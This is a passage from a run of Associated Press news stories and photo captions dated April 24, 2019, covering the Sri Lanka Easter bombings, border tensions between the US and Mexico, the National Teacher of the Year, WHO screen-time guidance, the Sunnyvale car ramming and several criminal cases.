Calif. Isaiah Peoples, 34, was taken into custody by Sunnyvale Police after he allegedly deliberately plowed into a group of people injuring them on Tuesday. Leevell Peoples says her son is a "model citizen" and that the only situation she can imagine could have influenced her son is a bout of post-traumatic stress disorder. (AP Photo/Rich Pedroncelli) DUBAI, United Arab Emirates (AP) - Attacks against mosques, shrines and followers of Sufi sheikhs in Sri Lanka more than a decade ago point to early warning signs of fundamentalism taking root among a sliver of the country's Muslims. The Easter attacks in Sri Lanka that killed more than 350 people in churches and hotels showed how the warnings went largely unheeded. It also exposed how a legacy of civil war, marginalization, political disarray and security lapses cultivated fertile ground for the militants to carry out their attacks. The Islamic State group, which has lost all the territory it once held in Iraq and Syria, claims it was behind the bombings. Sri Lankan authorities remain unsure of its involvement, and have blamed breakaway members of two obscure local Muslim extremist groups. Bruce Hoffman, a senior fellow for counterterrorism at the Council on Foreign Relations, said as far back as 22 years ago on his first visit to Sri Lanka there were Muslims who were concerned about people being radicalized. He said Sunday's attacks would have likely required an elaborate process of recruitment, radicalization and then sequestration to prepare suicide bombers for their mission. The plan would have also needed safe houses for bomb makers, operatives who could conduct surveillance and reconnaissance of targets, and others to transport the bombers safely. "You are talking about a resource and manpower-intensive activity ... that has historically been beyond the capabilities of a small local would-be terrorist organization," Hoffman said. A Sri Lankan police officer patrols out side a mosque in Colombo, Sri Lanka, Wednesday, April 24, 2019. The Islamic State group has claimed responsibility for the Sri Lanka attacks on Easter Sunday and released images that purported to show the attackers. Prime Minister Ranil Wickremesinghe said that investigators were still determining the extent of the bombers' foreign links. (AP Photo/Eranga Jayawardena) One of the suicide bombers is suspected of being the former leader of a little-known group named National Towheed Jamaat. In 2014, a group called the "Peace Loving Moderate Muslims in Sri Lanka" published a statement in the local Daily Mirror newspaper denouncing National Towheed Jamaat and warning that it was "fast becoming a cancer" within Sri Lanka's Muslim community. The statement warned that members of the group were making mosque attendance compulsory, forcing a strict implementation of Islamic law above Sri Lankan law and forcing women to cover their faces and wear long robes in place of traditional saris. "It is tragic that the majority of Muslims who are essentially peace loving are to pay for the actions of this minority," the statement said. "We fear that these activities ... if left unchecked by the authorities, would create a situation in which the majority of Muslims in Sri Lanka, already under threat and harassment from this extremist minority, may have to face the wrath of other religions," the statement said. There were other signs as well of encroaching fundamentalism. Andreas Johansson, who wrote a book about Muslim politics in Sri Lanka, said he found speeches by Osama bin Laden translated into Tamil in a mosque in Colombo and similar types of material in the east coast of the country on visits between 2006 and 2013. Still, attacks in 2006 by Muslim fundamentalists on Sufi shrines in the city of Kattakundy may have been the clearest indication at the time of how a narrow, literalist interpretation of Islam that views shrines as idolatrous had spread to Sri Lanka. A 2007 academic policy paper warned that violence by fundamentalist Muslims against Sufis in Sri Lanka might one day give rise to armed Islamist movements. The paper by Dennis McGilvray and Mirak Raheem for the East-West Center in Washington noted the Sufi mosque attacks exemplified how various forms of Wahhabi influence had entered the country from Saudi Arabia through concealed channels of money and proselytization. One reason why the warning signs may have been ignored is that the government's overwhelming focus was on suppressing any revival of Tamil separatism. Like other minorities, Muslims remained marginalized after the civil war between the Sinhalese Buddhist government and the mostly Hindu Tamil militants ended in 2009. Muslims in Sri Lanka, who are spread out geographically, never quite belonged to either side of the 26-year war. During the war, they joined various militant groups fighting in the conflict. Hundreds of Muslim youth were also abducted and killed by Tamil militants because of their Muslim identity. There were largescale massacres in mosques in Kattakundy and Eravur, where more than 260 Muslim were killed in 1990. Muslims were also forced to flee northern towns, leaving thousands still displaced. McGilvray and Raheem point out that given the scale of violence and frustration within the Muslim community, the environment appeared ripe for fostering radicalism and militancy. Even so, Hoffman said it would be a "quantum leap" for a local group like National Towheed Jamaat to go from being linked to vandalism of Buddhist statues to planning and executing the Easter Sunday attacks. If the attacks were carried out by a purely local Sri Lankan group, the attackers would have sought revenge against the Buddhist community for ultranationalist mob attacks on Muslims over the years and not churches or hotels, said Neil Devotta, a professor at Wake Forest University in North Carolina who has written extensively about Muslims in Sri Lanka. Radical groups like National Towheed Jamaat do not represent even 1% of the Muslim population in Sri Lanka, he said. "What the moderate Muslims in Sri Lanka really fear is that these sorts of groups provide ammunition to Sinhalese Buddhist nationalists who tend to view Muslims and other minorities, but especially Muslims, in a very negative light to begin with," Devotta said. "This is not good for the Muslim community." This undated image posted by the Islamic State group's Aamaq news agency on Tuesday, April 23, 2019, purports to show Mohammed Zahran, a.k.a. Zahran Hashmi, center, the man Sri Lanka says led the Easter attack that killed over 300 people, as well as other attackers. Sri Lankan authorities have blamed the militant Muslim group National Thowfeek Jamaath for the attack. The Islamic State group released the photo Tuesday to assert its claim on the assault. (Aamaq news agency via AP) WASHINGTON (AP) - President Donald Trump renewed his threat Wednesday to send more troops to the U.S.-Mexico border following an incident in which Mexican soldiers confronted U.S. personnel. Mexico blamed the incident on confusion, and said it was not looking for confrontation with the U.S. In morning tweets, Trump said, "Mexico's Soldiers recently pulled guns on our National Guard Soldiers," claiming, without evidence, that it was done "probably as a diversionary tactic for drug smugglers on the Border." "Better not happen again!" he added. "We are now sending ARMED SOLDIERS to the Border. Mexico is not doing nearly enough in apprehending & returning!" Trump last year dispatched U.S. troops to the border to assist border personnel in response to several caravans of Central American migrants traveling through Mexico in hopes of reaching the U.S. Many are already armed. Earlier this month, two U.S. soldiers in a remote area of Texas were confronted by Mexican soldiers who thought the Americans had crossed into Mexico. The Mexican troops reportedly removed a weapon from one of the American soldiers. U.S. Northern Command, which manages military support for Customs and Border Protection, said the Americans were in a CBP vehicle in a remote area of U.S. territory south of the border wall but north of the actual border. "After a brief discussion between the soldiers from the two nations, the Mexican military members departed the area," Northern Command said in a statement about the encounter. President Donald Trump speaks to the "Rx Drug Abuse and Heroin Summit," Wednesday, April 24, 2019, in Atlanta. (AP Photo/Evan Vucci) Mexican President Andres Manuel Lopez Obrador promised to investigate the incident at a Wednesday news conference. "We are not going to fight with the government of the United States," he said. "The most important thing is that we want a relationship of mutual respect and cooperation for development." Mexico's foreign relations department characterized the incident as "routine" confusion in an area where the line separating the two countries is unclear. While not every U.S. service member deployed to the border is armed, many - including those performing the "mobile surveillance camera" mission, like the two confronted by the Mexican soldiers - are armed for self-protection. Asked whether Trump intended to deploy more troops in response, White House adviser Kellyanne Conway said Trump "may" do that, but suggested the tweet was more about putting Mexico on notice. "I think the president is just making clear, as he always has, that he has many different actions at his disposal to try to stop this humanitarian crisis," she told reporters after an interview on Fox News Channel. The Department of Homeland Security already has been expected to ask the Pentagon for additional military assistance, and defense officials have said this likely will result in the deployment of 300 to 500 additional troops to provide various kinds of support to Customs and Border Protection. Such a move would not represent a major boost in troop strength or a change in the mission, however. Trump's tweets come two days after Mexican police and immigration agents detained hundreds of Central American migrants in the largest single raid on a migrant caravan since the groups started moving through the country last year. Police targeted isolated groups at the tail end of a caravan of about 3,000 migrants who were making their way through the southern state of Chiapas with hopes of reaching the U.S. border. The group subsequently dissolved as people hopped on cargo trains heading north or fled into the countryside to avoid police. In recent days, there have been about 8,000 Central American migrants moving through southern Mexico in various groups. Trump greatly exaggerated that number in his tweets, claiming, "A very big Caravan of over 20,000 people" had "started up through Mexico." Attention to the recent caravans soared in late March, when Mexican Interior Secretary Olga Sanchez Cordero met with then-Homeland Security Secretary Kirstjen Nielsen and told her "the mother of all caravans" was forming, with more than 20,000 people expected to join. That never materialized. Trump has previously threatened to seal the southern border, but backed off earlier this month, citing stepped-up Mexican efforts to stop the migrant flow. But he has continued to criticize the country nonetheless. He said Wednesday at an event in Atlanta that "Mexico is starting to detain" and send people "back to their country, where they came from," but said too many drugs are still coming across the border. ___ Associated Press writers Robert Burns in Washington and Maria Verza and Peter Orsi in Mexico City contributed to this report. ___ Follow Colvin and Superville on Twitter at https://twitter.com/colvinj and https://twitter.com/dsupervilleap RICHMOND, Va. (AP) - As a veteran teacher at a troubled high school in Richmond, Virginia, Rodney Robinson wanted to better understand why so many students go directly from school to prison. So he took a job teaching students at a juvenile detention center. Four years later, Robinson has been chosen as the 2019 National Teacher of the Year for his dedication to helping disadvantaged students move beyond their mistakes. "I give my kids empathy, not sympathy, and that's the key," Robinson told The Associated Press. "It's all about empathizing - understanding their situation, but teaching them how to overcome." Robinson's selection from among 57 award-winning teachers around the country was announced Wednesday by the Council of Chief State School Officers. As Teacher of the Year, Robinson will spend the next year traveling the country to advocate for students and teachers. He said he plans to focus on ensuring equity for all students and recruiting more black and Hispanic men as teachers. Robinson is among just about 2% of teachers in U.S. public schools who are black men. Another 2% are Hispanic men. In this Thursday, April 18, 2019 photo Rodney Robinson, of Richmond, Va., gestures during an interview at the Virgie Binford Educational Center, a school inside the Richmond Juvenile Detention Center in Richmond, Va. Robinson was named Wednesday, April 24 as the 2019 National Teacher of the Year. He will spend the next year traveling around the country as an ambassador for education and an advocate for teachers and students. (AP Photo/Denise Levoie) "The education system needs to look more like America," he said. Robinson, 40, became a teacher to honor his mother, who struggled to get her high school diploma amid poverty and segregation in rural Virginia. When Robinson was in high school, his mother went back to school to get her GED, an experience that made Robinson understand the joy of learning. "I saw a different side of my mother in those classes, and I really enjoyed that side. I was like, is this what learning does? It inspires this type of feeling?" he said. "That really inspired me to become a teacher." Robinson has spent most of his 19-year career teaching social studies at Armstrong High School, a struggling school in a section of Richmond plagued by crime and violence. But where most people saw obstacles, Robinson saw "love and the commitment to do better in life." After 12 years there, Robinson started to feel burned out and disillusioned. But when his principal asked him if he knew any teachers who would be willing to take on teaching students at the juvenile detention center, he said he would take the job himself. At the time, in 2015, the Center for Public Integrity had just issued a report analyzing U.S. Department of Education data that showed Virginia led the nation in referrals of students to law enforcement. Robinson wanted to know why. "What better way to learn about the school-to-prison pipeline than to go into an actual jail or prison and teach the children," he said. Robinson went to work at the Virgie Binford Education Center, immediately changing the look of the school inside the detention center, filling its blank, white walls with color: a historical timeline and images of President Barack Obama, Oprah Winfrey and other heroes to the students. The crimes the youths are charged with range from robbery and breaking and entering all the way up to murder. "We hung college banners on all the walls, just to let the kids know that this is just a temporary spot. You can still achieve your goals in life," he said. Robinson said he tries to provide stability, boost self-esteem and to create an environment where the students - ages 12 through 19 - feel appreciated. "You have to make sure they're comfortable and meet their needs. Once you do that, then the sky is the limit," he said. Doron Battle, a former student at Armstrong High, said Robinson drew in students with his infectious smile and big personality. He held their attention in class by using interactive notebooks, movies and storytelling to make history come alive. "He kind of made it real. It was vivid," said Battle, who went on to become a teacher himself. "His class was one that you actually looked forward to," he said. During his four years at the detention center, he's seen some heartbreaking things that might have sent other teachers looking for another job. He tells the story of two students he assigned to work on a project together. Six months later, one of the students was dead and the other was charged with his murder. "Having to compartmentalize that and still give that kid a quality education, that's hard," he said. As Teacher of the Year, Robinson is looking forward to telling the story of his students. One former student now works for a group that advocates for alternatives to youth incarceration. Some students have arrived at the detention center two or three years behind in their school work, but have caught up and managed to graduate on time. Others have been able to improve their reading levels by multiple grades in a couple of months. "My kids have overcome some tremendous odds and been through some traumatic, horrific circumstances, yet they still triumph, they still have dreams, they will want to be doctors and lawyers and everything you can of," he said. "Helping kids channel all that energy and dreams into something positive to where they can see an outcome and a result, that is what I love most about teaching." LONDON (AP) - The World Health Organization has issued its first-ever guidance for how much screen time children under 5 should get: not very much, and none at all for those under 1. The U.N. health agency said Wednesday that kids under 5 should not spend more than one hour watching screens every day - and that less is better. The guidelines are somewhat similar to advice from the American Academy of Pediatrics. That group recommends children younger than 18 months should avoid screens other than video chats. It says parents of young children under two should choose "high-quality programming" with educational value and that can be watched with a parent to help kids understand what they're seeing. Some groups said WHO's screen time guidelines failed to consider the potential benefits of digital media. WHO's screen time advice "overly focuses on quantity of screen time and fails to consider the content and context of use," said Andrew Przybylski, director of research at the Oxford Internet Institute at the University of Oxford. "Not all screen time is created equal." Britain's Royal College of Paediatrics and Child Health said the data available were too weak to allow its experts to set any thresholds for the appropriate level of screen time. FILE - In this Sept. 25, 2015, file photo, a child holds an Apple iPhone 6S at an Apple store on Chicago's Magnificent Mile in Chicago. The World Health Organization Wednesday, April 24, 2019, issued its first-ever guidance for how much screen time children under 5 should get: not very much, and none at all for those under 1. (AP Photo/Kiichiro Sato, File) "Our research has shown that currently there is not strong enough evidence to support the setting of screen time limits," said Dr. Max Davie, the college's Officer for Health Improvement. "The restricted screen time limits suggested by WHO do not seem proportionate to the potential harm," he said. WHO did not specifically detail the potential harm caused by too much screen time, but said the guidelines - which also included recommendations for physical activity and sleep - were needed to address the increasing amount of sedentary behavior in the general population. It noted that physical inactivity is a leading risk factor for death and a contributor to the rise in obesity. The agency said infants less than 1 year should spend at least half an hour every day on their stomachs and that older kids should get at least three hours of physical activity every day. SUNNYVALE, Calif. (AP) - The Latest on eight people injured in Northern California after a car plows into them (all times local): 4:50 p.m. Police say a driver who veered into a crosswalk and injured eight pedestrians in California did not say why he did it but indicated the act was intentional. Sunnyvale police Capt. Jim Choi said Wednesday that Isaiah Peoples did not express any remorse as he talked to police. Choi said Peoples kept going after hitting the pedestrians until he struck a tree at high speed. Peoples is a 34-year-old Army veteran. His mother says he experienced post-traumatic stress disorder while serving in Iraq. Police approach the apartment complex believed to be associated with a car crash suspect in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of a crash in Northern California that injured eight pedestrians on Tuesday evening. Authorities say the driver of a car was taken into custody after he appeared to deliberately plow into them. (AP Photo/Cody Glenn) ___ 3:50 p.m. Northern California authorities say they are holding a man on eight counts of attempted murder after he drove into a busy intersection in a Silicon Valley suburb. Sunnyvale Department of Public Safety Chief Phan Ngo said Wednesday that six of the eight injured were taken to hospitals Tuesday. Seven of the eight were hit. He said the youngest victim was an 9-year-old boy who was treated and released with minor injuries. He said four people remain hospitalized with major injuries, including a 13-year-old Sunnyvale resident in critical condition. Ngo said they have no motive for the crash, and there is no evidence linking Isaiah Peoples to known terrorist organizations. ___ 2:15 p.m. The mother of a Northern California man arrested after he allegedly plowed into a group of pedestrians, injuring eight, says her son is an Army vet who experienced post-traumatic stress disorder while serving in Iraq. Leevell Peoples told The Associated Press on Wednesday her son Isaiah Peoples is a "model citizen" and would not deliberately drive his car into pedestrians. She says the only situation she can imagine could have influenced her son is a bout of PTSD. Leevell Peoples says Isaiah was an Army sharpshooter in Iraq but was discharged because of his PTSD. She said her son graduated from Sacramento State University after returning from Iraq in 2007. She adds he had "a bad episode" with PTSD about two years ago. ___ 1:55 p.m. Police in Northern California have identified the man arrested after he allegedly deliberately plowed into a group of people, injuring eight. The Sunnyvale Department of Public Safety says 34-year-old Isaiah Joel Peoples, of Sunnyvale, was arrested Tuesday. Sunnyvale Police Capt. Jim Choi says investigators are still trying to determine a motive in the crash Tuesday evening. The FBI says it is assisting with the probe. Choi says some of the eight people injured, including a 13-year-old girl, were at a corner or on the crosswalk when the car hit them before smashing into a tree. The victims' conditions have not been released. ___ 12:05 p.m. A man who witnessed a California crash that injured eight people says when he approached the driver's side of the car, the man was repeatedly saying, "thank you Jesus." Don Draper, of San Jose, says he was enraged after seeing the Toyota Corolla slam into pedestrians at high speed, then crash into a tree. He says he marched up to the car ready to confront the driver. Draper says the driver was crouched over the steering wheel, unhurt. The car was hissing steam and the airbag had deployed. Draper said the driver's speech was not slurred and he did not look at him. Later, he saw the driver had climbed out of his car and was lying face down on the grass outside. ___ 11:35 a.m. Police officers are at the apartment in Northern California of a man that authorities say appeared to deliberately plow into a group of people, injuring eight. Authorities have not identified the man who was driving the Toyota Corolla but officers on Wednesday were at an apartment associated with the car's owner in Sunnyvale, about 50 miles (80 kilometers) south of San Francisco. Sunnyvale Police Capt. Jim Choi says investigators are still trying to determine a motive in the crash Tuesday evening. The FBI says it is assisting with the probe. Choi says some of the eight people injured, including a 13-year-old girl, were at a corner or on the crosswalk when the car hit them before smashing into a tree. The crosswalk reopened Wednesday morning. ___ 7:30 a.m. The FBI says it's assisting California officials in the investigation of a motorist who appeared to deliberately plow into a group of people, injuring eight. Prentice Danner, a spokesman for the FBI's field office in San Francisco, says the Sunnyvale Police Department is the lead agency in the investigation. But Danner says that if it is determined a federal crime was committed, the bureau will become more involved. Sunnyvale Police Cpt. Jim Choi says the driver of the car was arrested and has been identified but that his name is not being made public to avoid compromising the investigation. ___ 6:30 a.m. Authorities in Northern California say a man was arrested after he appeared to deliberately plow into a group of people, injuring eight, but that a motive is still under investigation. Sunnyvale Police Cpt. Jim Choi tells KPIX-TV that witnesses told investigators the motorists was speeding and drove directly toward the pedestrians without trying to veer away or stop the car before striking the pedestrians Tuesday night. Choi says some of the eight people injured were at a corner or on the crosswalk and that officials have to indication the motorists tried to avoid them. The department says the crosswalk remains closed Wednesday as officials investigate. He says officials are looking into whether the driver was having a medical emergency or purposely hit the pedestrians. ___ 12:00 a.m. Authorities say eight people have been injured after a motorist appeared to deliberately plow into them in Sunnyvale. The Bay Area city's Department of Public Safety says it happened Tuesday evening. Eight people were taken to the hospital, including a 13-year-old boy. There's no word on their condition or a motive for the apparent attack. The driver was taken into custody after the car smashed into a tree. KGO-TV reports that witnesses say the man apparently made no effort to stop before hitting the pedestrians. This photo released Wednesday, April 24, 2019, by the Sunnyvale Department of Public Safety shows Isaiah Joel Peoples. Police in Northern California have identified the man arrested after he allegedly deliberately plowed into a group of people. The Sunnyvale Department of Public Safety says 34-year-old Peoples, of Sunnyvale, Calif., was arrested Tuesday. (Sunnyvale Department of Public Safety via AP) Police work the apartment complex believed to be associated with a car crash suspect in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of a crash in Northern California that injured eight pedestrians on Tuesday evening. Authorities say the driver of a car was taken into custody after he appeared to deliberately plow into them. (AP Photo/Cody Glenn) Police vehicles surround the apartment complex believed to be associated with a car crash suspect in Sunnyvale, Calif., Wednesday, April 24, 2019. A witness to a California crash that injured eight people said Wednesday he was waiting for a traffic light to turn green when a Toyota Corolla plowed through the intersection at a high speed, sending pedestrians flying into the air in the Silicon Valley city of Sunnyvale. (AP Photo/Cody Glenn) Sunnyvale Public Safety Officer Kira Reid secures the perimeter at the apartment complex believed to be associated with a car crash suspect in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of a crash in Northern California that injured eight pedestrians on Tuesday evening. Authorities say the driver of a car was taken into custody after he appeared to deliberately plow into them. (AP Photo/Cody Glenn) Police approach the apartment complex believed to be associated with a car crash suspect in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of a crash in Northern California that injured several pedestrians on Tuesday evening. Authorities say the driver of the car was taken into custody after he appeared to deliberately plow into the group. (AP Photo/Cody Glenn) This April 23, 2019, image from video provided by KGO-TV, shows the scene of a car crash where several pedestrians were struck and injured in Sunnyvale, Calif. The FBI says it's assisting California officials in the investigation of a motorist who appeared to deliberately plow into the group of people. (KGO-TV via AP) Police stand outside an apartment complex believed to be associated with a car crash suspect in Sunnyvale, Calif., on Wednesday, April 24, 2019. Investigators are working to determine the cause of the crash in Northern California that injured several pedestrians on Tuesday evening. Authorities say the driver of the car was taken into custody after he appeared to deliberately plow into the group. (AP Photo/Cody Glenn) DELPHI, Ind. (AP) - A newly released sketch of a man suspected of killing two Indiana teenagers in 2017 "more accurately represents" the man believed to be their killer than a sketch released months after the girls were slain, state police said Wednesday. The statement from Indiana State Police sought to clarify information about the two sketches on behalf of the multi-agency task force that's investigating the February 2017 killings of 14-year-old Liberty German and 13-year-old Abigail Williams. Master Trooper Taylor Bryant told The Indianapolis Star on Monday that he drew the sketch that was released this week just three days after the girls' bodies were found in a wooded area where they had been hiking near their northern Indiana hometown of Delphi. The sketch shows a clean-shaven white man whose age could range from his 20s to late 30s, according to police. The police statement issued Wednesday said suspect descriptions were developed early in their investigation and that authorities "initially believed the sketch" released in July 2017 of a white man with a prominent nose and a goatee, possibly in his 40s or 50s, "was a person of interest in this murder investigation." "Now, as the investigation has matured and past information has been reassessed, it is the belief of investigators with the Multi-Agency Task Force that the person depicted in the sketch released on April 22nd more accurately represents the person wanted for the murders of Abigail Williams and Liberty German," according to the statement. The new sketch is "representative of the face of the person captured" in video taken from German's cellphone of a man walking on an abandoned railroad bridge, the police statement said. In this undated police artist sketch provided by the Indiana State Police is the new "face" of the Delphi Murder suspect Monday, April, 22, 2019. Authorities have released video of a man suspected of killing two Indiana teenagers two years ago and urged the public to scrutinize the footage, which shows the man walking on an abandoned railroad bridge the girls visited while out hiking the day they were killed. The State Police also released a new sketch of the suspect, which Superintendent Doug Carter says was produced thanks to "new information" collected during the investigation into the killings of Liberty German and Abigail Williams. (Indiana State Police via AP) Police released that brief video Monday of the suspect walking along that bridge, which the girls had visited while out hiking on Feb. 13, 2017 - the day they were slain. Their bodies were found the next day, in a wooded area about a quarter-mile from that bridge near their hometown of Delphi, about 60 miles (95 kilometers) northwest of Indianapolis. Authorities haven't said how German and Williams were killed and have released few details about their findings. Police also released a longer audio clip Monday they said captures the suspect saying "guys, down the hill." That audio also came from German's cellphone. Within days of the slayings, police released two grainy photos of the suspect on the same bridge and a shorter audio cut , all taken from German's cellphone. ___ Information from: The Indianapolis Star, http://www.indystar.com FILE - This composite sketch released July 17, 2017, by the Indiana State Police shows the man they consider the main suspect in the killings of teenage girls Liberty German, and Abigail Williams who disappeared from a hiking trail near their hometown of Delphi on Feb. 13, 2017. State Police are to make an announcement about the investigation into the 2017 killings of the two girls found dead on a hiking trail. State police say Superintendent Doug Carter will discuss how the investigation has gone in a "new direction" during a Monday April 22, 2019 news conference in Delphi. (Indiana State Police via AP, File) CRYSTAL LAKE, Ill. (AP) - Authorities searching for a missing 5-year-old Illinois boy who had lived in deplorable conditions dug up his body Wednesday and charged his parents with murder, sadly declaring that the youngster would "no longer have to suffer." The body, believed to be that of Andrew "AJ" Freund, was covered in plastic and buried in a shallow grave in a rural area of Woodstock in McHenry County, Crystal Lake police Chief James Black said. Black said investigators went to the site after they interviewed the boy's parents overnight and presented them with cellphone evidence. Woodstock is about 50 miles (80 kilometers) northwest of Chicago and a few miles from the family's home in Crystal Lake. "This is not the outcome that we want to talk about ... but it is the unfortunate result," said Jeffrey Sallet, who runs the FBI in northern Illinois. The parents, Andrew Freund Sr. and JoAnn Cunningham, each face charges of first-degree murder and other crimes. An email seeking comment was sent to Cunningham's lawyer. It wasn't immediately known if Freund has a lawyer. The couple reported AJ missing last Thursday, telling officers they had last seen him at bedtime the previous night. Freund told a dispatcher that they'd checked "closets, the basement, the garage, everywhere," but investigators quickly knocked down the possibility of a kidnapping. This combination April 24, 2019 booking photos provided by the Crystal Lake, Ill., Police Department shows JoAnn Cunningham and her husband, Andrew Freund Sr. On Wednesday, authorities dug up the body of a 5-year-old boy, believed to be Andrew "AJ" Freund, who was reported missing the previous week and charged his parents with murder and other counts. (Crystal Lake Police Department via AP) Speaking to reporters, Black had a message for AJ's relatives: "It is my hope that you may have some solace in knowing that AJ is no longer suffering and his killers have been brought to justice." Crystal Lake police had visited the house over the years, according to records released by the department. One report described the home as littered with dog feces and urine, including a child's bedroom where the "smell of feces was overwhelming." Another report said the house was "cluttered, dirty and in disrepair," and sometimes without electricity. The Illinois Department of Children and Family Services, known as DCFS, had contact with the family since AJ was born with opiates in his body in 2013. The Northwest Herald said he was in foster care for two years before being returned to his parents. A younger brother was removed from the home last week. Black said the cause of AJ's death remains under investigation. Police removed several items from the home, including a shovel, mattress, paper bags and a plastic storage tub. "We know you are at peace playing in heaven's playground and are happy you no longer have to suffer," the police chief said in a public message intended for the boy. DCFS acting director Marc Smith said AJ's death was "heartbreaking." "The department is committed to conducting a comprehensive review of the entirety of our work with Andrew's family to understand our shortcomings and to be fully transparent with the public on any steps we are taking to address the issues," Smith said in a written statement. Gov. J.B. Pritzker in March ordered an independent review of DCFS after the deaths of a 2-year-old girl in Decatur and a 2-year-old boy in Chicago. Child welfare workers had contacts with both families. State Sen. Julie Morrison, a Deerfield Democrat, immediately called for "an independent, comprehensive audit of the DCFS hotline." "As with many other deaths, it seems the system designed to protect Illinois' children did not work in AJ Freund's case," Morrison said in a statement. McHenry County Coroner investigators load the body of 5-year-old Andrew "AJ" Freund into a minivan at a wooded area off Dean Street Wednesday, April 24, 2019, in Woodstock, Ill. The boy's parents have been charged with his murder. (John J. Kim/Chicago Tribune via AP) Crystal Lake, Ill., Police Chief James Black, left, and FBI Special Agent Jeffrey Sallet announce during a press conference Wednesday that the parents of Andrew "AJ" Freund are responsible for his death, Wednesday, April 24, 2019. (Paul Valade/Daily Herald via AP) This undated photo provided by the Crystal Lake, Illinois Police Department shows Andrew "AJ" Freund. Crystal Lake police say the missing boy's Freund's parents last saw him about 9 p.m. Wednesday April 17, 2019. Police say Andrew's parents reported him missing when they woke up Thursday and couldn't find him in their home. Police in the Chicago suburb of Crystal Lake say an FBI team that specializes in missing children is helping them search for the 5-year-old boy. (Crystal Lake Police Department via AP) Mourners gather outside the home of 5-year-old Andrew "AJ" Freund for a vigil Wednesday, April 24, 2019, in Crystal Lake, Ill. Andrew's body was found in a wooded area in Woodstock Wednesday, and the boy's parents have been charged with his murder. (John J. Kim/Chicago Tribune via AP) Mourners view a growing memorial outside the home of 5-year-old Andrew "AJ" Freund Wednesday, April 24, 2019, in Crystal Lake, Ill. Andrew's body was found in a wooded area in Woodstock Wednesday, and the boy's parents have been charged with his murder. (John J. Kim/Chicago Tribune via AP) Mourners gather outside the home of 5-year-old Andrew "AJ" Freund for a vigil Wednesday, April 24, 2019, in Crystal Lake, Ill. Andrew's body was found in a wooded area in Woodstock Wednesday, and the boy's parents have been charged with his murder. (John J. Kim/Chicago Tribune via AP) A woman and child hug near a memorial outside the home of 5-year-old Andrew "AJ" Freund Wednesday, April 24, 2019, in Crystal Lake, Ill. Andrew's body was found in a wooded area in Woodstock Wednesday, and the boy's parents have been charged with his murder. (John J. Kim/Chicago Tribune via AP) In this April 24, 2019 booking photo provided by the Crystal Lake Police Department of Joann Cunningham who along with her husband Andrew Freund Sr. have been charged with murder and other charges in the death of their missing son Andrew "AJ" Freund. Authorities say they have found what they believe is the body of the 5-year-old boy who went missing last week. Crystal Lake police Chief James Black said at a news conference Wednesday that police dug up what they believe is Freund's body in a field and that it was wrapped in plastic. (Crystal Lake Police Department via AP) In this April 24, 2019 is a booking photo provided by the Crystal Lake Police Department of Andrew Freund Sr, who along with his wife Joann Cunningham, have been charged with murder and other charges in the death of their missing son Andrew "AJ" Freund. Authorities say they have found what they believe is the body of the 5-year-old boy who went missing last week. Crystal Lake police Chief James Black said at a news conference Wednesday that police dug up what they believe is Freund's body in a field and that it was wrapped in plastic. (Crystal Lake Police Department via AP) JoAnn Cunningham, mother of missing 5-year-old child Andrew "AJ" Freund, stands with her attorney George Killis outside of the Freund home as he speaks on her behalf and pleads with the public to help find AJ on Friday, April 19, 2019 in Crystal Lake, Ill. Crystal Lake police said Friday that they have no indication Andrew "AJ" Freund was abducted. They say canine units only picked up the boy's scent within the residence, which indicates Andrew didn't leave on foot. Police say Andrew's parents last saw him about 9 p.m. Wednesday and reported him missing Thursday when they woke up and couldn't find him in the home. (Stacey Wescott/Chicago Tribune via AP) Andrew Freund Sr., the father of the missing 5-year-old Andrew "AJ" Freund, walks near his home on Dole Avenue in Crystal Lake, Ill. on Friday, April 19, 2019 as members of the media try to speak with him. Police are investigating the boy's disappearance and are focusing their attention on the boy's home. (John Starks/Daily Herald via AP) A blood hound K-9 officer and his handler sniffs the ground in front of the home of 5-year-old Andrew "AJ" Freund on Thursday, April 18, 2019 in Crystal Lake, Ill. Crystal Lake police said Friday that they have no indication Andrew "AJ" Freund was abducted. They say canine units only picked up the boy's scent within the residence, which indicates Andrew didn't leave on foot. Police say Andrew's parents last saw him about 9 p.m. Wednesday and reported him missing Thursday when they woke up and couldn't find him in the home. (Stacey Wescott/Chicago Tribune via AP) Law enforcement personnel remove items from the Freund home in Crystal Lake, Ill., as the investigation into the case of missing 5-year-old Andrew "AJ" Freund continues on Wednesday, April 24, 2019. (Robert McCoppin/Chicago Tribune via AP) FBI Special Agent Jeffrey Sallet speaks during a Crystal Lake, Ill. press conference Wednesday, April 24, 2019 about the parents of Andrew "AJ" Freund being charged for his death. (Paul Valade/Daily Herald via AP) ROCKVILLE, Md. (AP) - A Coast Guard lieutenant accused of stockpiling guns and compiling a hit list of prominent Democrats and network TV journalists looked at other targets: two Supreme Court justices and two executives of social media companies, according to federal prosecutors. Those new allegations are contained in a court filing Tuesday in which prosecutors urge a magistrate judge to keep Christopher Hasson, 49, detained in custody pending trial on firearms and weapons charges. The filing doesn't name the two justices and two company executives but says Hasson searched online for their home addresses in March 2018, within minutes before and after searching firearm sales websites. "The defendant conducted an internet search for 'are supreme court justices protected' approximately two weeks prior to searching for the home addresses of the two Supreme Court justices," Assistant U.S. Attorney Thomas Windom wrote in a footnote. Hasson, who is due back in court Thursday for a detention hearing, is renewing his request to be released from custody while awaiting trial. A lawyer who represented Hasson at a Feb. 21 detention hearing accused prosecutors of making inflammatory accusations against Hasson without providing evidence to back them up. Prosecutors haven't charged him with any terrorism-related offenses since his Feb. 15 arrest and subsequent indictment in Maryland. Hasson's attorney, Liz Oyer, wrote in a court filing last week that prosecutors recently disclosed that they don't expect to seek any additional charges. FILE - This file image provided by the U.S. District Court in Maryland shows a photo of firearms and ammunition that was in the motion for detention pending trial in the case against Christopher Paul Hasson. Hasson, a Coast Guard lieutenant accused of stockpiling guns and compiling a hit list of prominent Democrats and network TV journalists looked at other targets: two Supreme Court justices and two executives of social media companies, according to federal prosecutors in a court filing Tuesday, April 22, 2019. (U.S. District Court via AP, File) In an email to The Associated Press, Oyer declined to comment Wednesday on the prosecutors' new allegations. In a February court filing, prosecutors called Hasson a "domestic terrorist" and said he "intends to murder innocent civilians on a scale rarely seen in this country." They also said he is a self-described white nationalist who espoused extremist views for years and drafted an email in which he said he was "dreaming of a way to kill almost every last person on the earth." Hasson's internet search history "lays bare his views on race, which in turn inform his criminal conduct," Windom 